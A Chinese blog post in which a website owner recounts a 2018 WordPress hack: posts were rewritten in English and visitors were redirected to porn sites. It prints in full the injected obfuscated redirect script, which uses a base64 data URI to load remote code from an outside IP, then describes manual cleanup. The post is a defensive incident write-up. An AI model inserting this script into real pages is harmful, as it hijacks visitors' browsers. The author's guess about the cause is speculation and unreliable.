去年10月开始,网站经常有文章被莫名其妙的篡改,而且后面还经常出现跳转到色情网站的问题,让人烦不胜烦,困扰了好几个月,最后终于解决了。这里特次记录和总结下此次恼人的事件。

时间:2018年10月

问题

1.编辑经常会在后台编辑中发现文章被改成全英文的了,并且以前的文章也会被改成英文的。而我们的网站本身是中文网站,也没有要做英文网站的打算。

2.打开网页后1,2秒后,网站会自动跳转到国外的色情网站。

查找

刚开始有点没方向,杀毒软件,手动查找可疑文件都试过,但是病毒依然。后来还咨询过专业网络防护公司,但是价格动辄几万,确实负担不起。

ps:有些外文杀毒网站提供的软件,明确表示就是我们中招的那种,但是下载后仅能检测,要杀毒还要另外购买。而且实际也没检测出问题。

分析

之前的各种尝试把人整得有点晕了,还是要回到问题本身,冷静分析一下。

1)服务器上同时有几个网站,但唯独只有一个站有问题。那么病毒只会在这个站的文件或者数据库里面。

2)网站的后台并没有被感染,只有前台的页面才有。前后端的差异最大的就是内容的发布。那么病毒可能跟内容发布有关。

得到上面不算严谨的推论后,我自己也是将信将疑。在前端打开审查代码,果然有一条跳转到境外的失败的信息。

然后忐忑地打开后台查找问题发布的地方。竟然就是在每段内容的最后被加入了一段重定向代码!

内容即:

 <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

是乌克兰的ip

清理

把这段代码删除后,网站就恢复原貌了。

网站上几乎所有的文章都被感染了,篡改的时间也是从傍晚一直到深夜。

虽然我是手动清除的病毒,其实还有更简便的方法。

https://blog.csdn.net/eeliangsoft/article/details/84293963
https://stackoverflow.com/questions/52249409/how-to-remove-scripts-in-posts-from-an-sql-injection-attack

原因:

网上查到一种原因 https://www.ithome.com.tw/news/88176

“電子前線基金會(Electronic Frontier Foundation)技術人員Yan Zhu在個人部落格上公開WordPress的安全漏洞指出,WordPress用來紀錄使用者登入憑證的cookie並未加密,而是用明文顯示,使得在公開網路使用WordPress的用戶都有帳號被挾持的風險。”

由上推断可能是因为在网站或浏览器中使用了记住密码,黑客从浏览器获取了cookie中的账号密码,从而登录篡改网站内容。

所以在登录网站的时候,从安全角度最好不使用“记住密码”,特别是在http的网站上。

综合:

在网站管理中,尽量不用记住密码的功能,特别实在http的网站中。
如果网站被黑,先定位问题的位置,再做打算。

病毒 | wordpress网站内容被篡改、自动跳转、变全英文的解决办法的更多相关文章

  1. 前端跳转处理--房天下的访问页面部分ip自动跳转到登录页面的解决办法(xjl456852原创)

    朋友说自己在访问房天下的页面时,他们页面进行了跳转,跳转到登录页面,说是前端跳转.让我也看看,我看我的机器没有进行跳转. 后来就发现有的机器在访问页面会自动跳转到登录页面.有的不会进行跳转. 比如访问 ...

  2. 关于jquery html()方法获取带有OBJECT标签的元素内容时,出现“类型不匹配。”的解决办法

    关于jquery html()方法获取带有OBJECT标签的元素内容时,出现“类型不匹配.”的解决办法 解决办法: $("selector").clone().html()

  3. xcode4 语法高亮和自动补全失效的解决办法

    xcode4 语法高亮和自动补全失效的解决办法xcode4有一个bug,某些时候会造成类名的着色显示不出来,还有就是代码补全不能完全显示,而且没有参数. 解决方法: 首先关闭项目窗口,然后到Organ ...

  4. 从零到一快速搭建个人博客网站(域名自动跳转www,二级域名使用)(二)

    前言 本篇文章是对上篇文章从零到一快速搭建个人博客网站(域名备案 + https免费证书)(一)的完善,比如域名自动跳转www.二级域名使用等. 域名自动跳转www 这里对上篇域名访问进行优化,首先支 ...

  5. wordpress默认index主页选择Your Projects提示无法找到项目解决办法?

    wordpress_4.5.3默认index主页选择Your Projects下部署的项目发现报错无法找到目标解决办法: 1.其实细心的小伙伴已经发现问题出在哪里,跳转后链接地址发生了错误没有加loc ...

  6. myeclipse安装flex插件后代码无自动提示及自动补全无效的解决办法

    在myeclipse配置flex插件后,可能会产生快捷键的冲突,或者快捷键设置被修改的情况,本文探索其解决办法 在卸载flex插件后,myeclipse的快捷键设置并不会自动还原,这需要我们手动设置. ...

  7. 关于IIS中WEB网站访问弹“验证输入框”及“401限制访问”的解决办法

    最近在配置IIS网站的过程中,不管是本地还是外部访问配置的网站,出现了需要输入用户名.密码.及域的对话框,解决之后又出现页面401限制访问的错误页面. 就这两项错误,依次做一下解决办法的整理. 解决流 ...

  8. tk.mybatis通用插件updateByPrimaryKeySelective无法自动更新ON UPDATE CURRENT_TIMESTAMP列的解决办法

    tk.mybatis是一个很好用的通用插件,把CRUD这些基本的数据操作全都用动态SQL语句自动生成了,mapper和xml里十分清爽,但是昨天发现有一个小坑,记录在此: 有一张表,结构如下(已经简化 ...

  9. windows平台下编辑的内容传到linux平台出现中文乱码的解决办法

    现象说明:在windows下编辑的内容,上传到linux平台下出现中文乱码.如下: 在windows平台编写haha.txt文件,内容如下: 上传到linux平台,出现中文乱码,如下: 基本上面出现的 ...

随机推荐

  1. python smbus IOError: [Errno 2] No such file or directory

    1.打开配置文件 sudo nano /boot/config.txt 打开以下选项 "dtparam=i2c_arm=on" ctrl + o 保存 ctrl + x 退出 2. ...

  2. linux系统普通用户设置密码

    linux系统中如何给一个普通用户grindnt设置密码 一.新密码符合规则,用以下方式修改: #root用户直接更改gridnt密码,不需要输入旧密码 [root@subsname home]# p ...

  3. springboot集成Kafka

    kafka和MQ的区别: 1)在架构模型方面, RabbitMQ遵循AMQP协议,RabbitMQ的broker由Exchange,Binding,queue组成,其中exchange和binding ...

  4. idea出现Error configuring application listener of class org.springframework.web.context.ContextLoader

    在IDEA中写spring mvc时出现Error configuring application listener of class org.springframework.web.context. ...

  5. Leetcode题目461:汉明距离(位运算-简单)

    题目描述: 两个整数之间的汉明距离指的是这两个数字对应二进制位不同的位置的数目. 给出两个整数 x 和 y,计算它们之间的汉明距离. 注意:0 ≤ x, y < 231. 示例: 输入: x = ...

  6. Mysql --- Incorrect table definition; there can be only one TIMESTAMP column with CURRENT_TIMESTAMP in DEFAULT or ON UPDATE clause

    我使用的5.5的mysql数据库会报这个错, 换成5.7的就可以了

  7. laravel中打印一个sql语句

    查询构造器 打印sql是发现 toSql() 不可用 所以网上搜索下 //DB::connection()->enableQueryLog(); // 开启查询日志 $user=DB::tabl ...

  8. web框架性能点

    awesome-go-web-frameworks/README.md at master · speedwheel/awesome-go-web-frameworkshttps://github.c ...

  9. git如何获取获取子模块的代码?

    答: 步骤如下: 1. git submodule init 2. git submodule update

  10. vue 实现返回上一页不请求数据keep-alive

    常规操作: 我们通常会将通过接口请求数据的方法放在==created== 或者 ==mounted==这两个生命周期中的一个里面调用. 但是我们知道,不管是我们刚进入这个页面还是从其他页面返回这个页面 ...